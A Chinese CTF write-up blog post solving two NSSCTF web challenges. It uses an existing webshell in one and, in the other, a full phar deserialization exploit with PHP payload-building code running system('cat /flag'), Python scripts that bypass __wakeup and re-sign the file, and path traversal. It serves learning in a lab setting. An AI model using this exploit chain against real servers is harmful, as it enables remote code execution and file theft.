NSS[羊城杯 2020]easycon+[NSSRound#4 SWPU]1zweb
很菜的wl
2023年02月02日 17:00
收录于文集
共104篇

https://www.ctfer.vip/problem/1421    https://www.ctfer.vip/problem/2484

今天凌晨睡觉的时候本来准备打今天的西湖论剑,吸踢欸夫中比较重要的赛事,但是但是,我发现我没收到短信,回想起来输错电话号码的概率比较小,多半是报名的时候出了什么问题,唉,借了别人的号可是看到都在开靶机,冲线下的队还是不去打扰人家了,那就做做题咯。


言归正传:

[羊城杯 2020]easycon

hint:web php

首先是英语课堂了解一下题目意思con:

打开是乌班图报错界面,f12也没啥信息,这里要么扫一下,要么去尝试访问一下php

直接flag.php也么得东西,打开index.php图片加载半天我还以为有什么其他内容,这里很明显是一句话木马连接蚁剑。

这里记得加上index.php哦,你直接链接是访问不了的,然后是老生常谈的问题,如果你是直接编辑数据像我一样懒的人呢,访问进去记得在根目录刷新一下,才显示的这个题的文件结构。看到index.php只是一个一句话木马:

离谱,我找半天flag没找到,最后重新访问了一下html文件夹刷新一下就弹出来txt文件了:

那下载看一下:

看着像misc了怎么,丢010发现没啥东西,那按照misc的做法,试一下base系列的解法,解码没东西,转图片转到了flag:

丢一个网站:https://onlineimagetools.com/

选convert base64 to image然后丢代码:

改一下前缀交了就行了。注意这里是kn0w,不是Ow,识字容易识别错。


[NSSRound#4 SWPU]1zweb

hint:WEB  文件上传  反序列化  PHP伪协议

为什么文件上传还能加反序列化还能加php伪协议啊,看着这题的评分,我有不详的预感,md进来查询文件直接/flag出了flag你敢信,估计是非预期,但是这个非预期你直接交了没什么意义,顺带一提在看完其他人的wp后发现:../../../../../flag也能直接查询到

算辣,我们看看还有什么手法做这道题吧:

首先查询功能肯定是给你看源码的,这里看一下index.php和upload.php:

这里index.php源码得把f12里面的加上才是全的,虽然没加可能也看得懂:

?php class LoveNss{     public $ljt;     public $dky;     public $cmd;     public function __construct(){         $this-ljt="ljt&#​34;;        $this->dky="dky&#​34;;        phpinfo();    }    public function __destruct(){        if($this->ljt==="Misc&#​34;&&$this->dky==="Re&#​34;)            eval($this->cmd);    }    public function __wakeup(){        $this->ljt="Re&#​34;;        $this->dky="Misc&#​34;;    } } $file=$_POST['file&#​39;]; if(isset($_POST['file&#​39;])){    echo file_get_contents($file); }

反序列化就在这里,一个很明显的命令执行漏洞,绕过wakeup的方法很简单,让序列化开头O那里的显示成员数改的大于实际成员数就行了,好像这么说不怎么准确,但是学过反序列化的应该能懂啥意思吧。

然后看看上传的源码upload.php:

一样的情况,得加上f12里的一部分,这里学了一手整理代码Shift+Alt+F直接格式化:

<?php if ($_FILES["file&#​34;]["error&#​34;] > 0){     echo "上传异常&#​34;; } else{     $allowedExts = array("gif&#​34;, "jpeg&#​34;, "jpg&#​34;, "png&#​34;);     $temp = explode(".&#​34;, $_FILES["file&#​34;]["name&#​34;]);     $extension = end($temp);     if (($_FILES["file&#​34;]["size&#​34;] && in_array($extension, $allowedExts))){         $content=file_get_contents($_FILES["file&#​34;]["tmp_name&#​34;]);         $pos = strpos($content, "__HALT_COMPILER();&#​34;);         if(gettype($pos)==="integer&#​34;){             echo "ltj一眼就发现了phar&#​34;;         }else{             if (file_exists("./upload/&#​34; . $_FILES["file&#​34;]["name&#​34;])){                 echo $_FILES["file&#​34;]["name&#​34;] . " 文件已经存在&#​34;;             }else{                 $myfile = fopen("./upload/&#​34;.$_FILES["file&#​34;]["name&#​34;], "w&#​34;);                 fwrite($myfile, $content);                 fclose($myfile);                 echo "上传成功 ./upload/&#​34;.$_FILES["file&#​34;]["name&#​34;];             }         }     }else{         echo "dky不喜欢这个文件 .&#​34;.$extension;     } } ?>

其他的都看得懂或者猜得到意思,重点是这两句:

$pos = strpos($content, "__HALT_COMPILER();&#​34;);

if(gettype($pos)==="integer&#​34;)

根据提示,这个跟phar有关,搜索得到:PHP通过__HALT_COMPILER来识别Phar文件

那这里明显是一个判断,strpos首先判断链接类型是否存在__HALT_COMPILER,如果是返回整数不是返回flase,然后下面gettype判断pos类型,是整数就强等于然后失败,不是就绕过了。

那这方面我就不会了,但是我们把会做的做了,其他的学就行了。我会什么呢,会一点构造phar,就别管对不对,先构造:

https://blog.csdn.net/qq_62046696/article/details/127195593 https://blog.csdn.net/m0_64815693/article/details/127749358

<?php class LoveNss{     public $ljt;     public $dky;     public $cmd;     public function __construct(){         $this->ljt="Misc&#​34;;         $this->dky="Re&#​34;;         $this->cmd="system(&#​39;cat /flag');&#​34;;     } } $a = new LoveNss(); $phar = new Phar('wl.phar&#​39;); $phar->startBuffering(); $phar->setStub('GIF89a&#​39;.'<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->addFromString('test.txt&#​39;, 'test&#​39;); $phar->stopBuffering(); ?>

前半截和php反序列差不多,后面是有固定格式,然后我学别人加了给GIF头,其实这里到不用加上去。

然后是利用,这里之前遇到过phar用zip上传的知识,结果自己忘了,还是比较惭愧的,原理是上传时候zip会绕过phar检测,但是phar伪协议会解压zip,在解压时候在file_get_contents()处我们的phar伪协议会触发反序列化,并且进行eval()的命令执行。

但是这里有一个问题,我们在记事本或者010处虽然可以修改phar文件绕过wake_up,但是这里存在签名认证,我们得修复签名,默认是shar-1算法,那这里就放上大佬脚本:

1111.在压缩的时候修改并修复签名:

https://blog.csdn.net/qq_62046696/article/details/127195593

import gzip from hashlib import sha1 with open('D:\\wl.phar&#​39;, 'rb&#​39;) as file:     f = file.read() s = f[:-28] # 获取要签名的数据 s = s.replace(b'3:{&#​39;, b'4:{&#​39;)#更换属性值,绕过__wakeup h = f[-8:] # 获取签名类型以及GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) #print(newf) newf = gzip.compress(newf) #对Phar文件进行gzip压缩 with open('D:\\wl.png&#​39;, 'wb&#​39;) as file:#更改文件后缀     file.write(newf)

2222.在010或者winhex这些软件修改后修复签名:

https://blog.csdn.net/m0_64815693/article/details/127749358

from hashlib import sha1 # import gzip   file = open(r'C:\Users\CyberSec\Desktop\aa.phar', &#​39;rb').read()   data = file[:-28]  # 获取需要签名的数据 # data = data.replace(b&#​39;3:{', b&#​39;4:{') #​更换属性值,绕过__wakeup   final = file[-8:]  # 获取最后8位GBMB标识和签名类型   newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB   open(r'C:\Users\CyberSec\Desktop\new.phar', &#​39;wb').write(newfile)  #​ 写入到新的phar文件   # newf = gzip.compress(newfile) # with open(r&#​39;C:\Users\CyberSec\Desktop\new1.png', &#​39;wb') as file: #​更改文件后缀 #     file.write(newf)

当然这里也存在师傅zip+sha1失败,后来改成gzip+sha256才成功,具体原因我也不是很清楚,这里的脚本一个是gzip+sha1,一个是zip+sha1,列出来以便大家参考。

生成了phar文件:

010打开修改:

然后构造不出文件的话去看一看对应php版本的php.ini是否把phar.readonly改为0或者off,这里记得把前面的分号删掉,不然你改啥都没用。重启后再次尝试,别问我为什么知道,说多了都是泪,第二个问题是py脚本报错:

检查with open(r'C:\Users\ 这一句前面有没有r,第一个脚本没r所以报错,加上就可以生成文件了:

如果都顺利的话我们就到了最后一步:

上传文件然后进行phar伪协议:phar://./upload/WL.png

呼,那么期待我们下一题再见啦!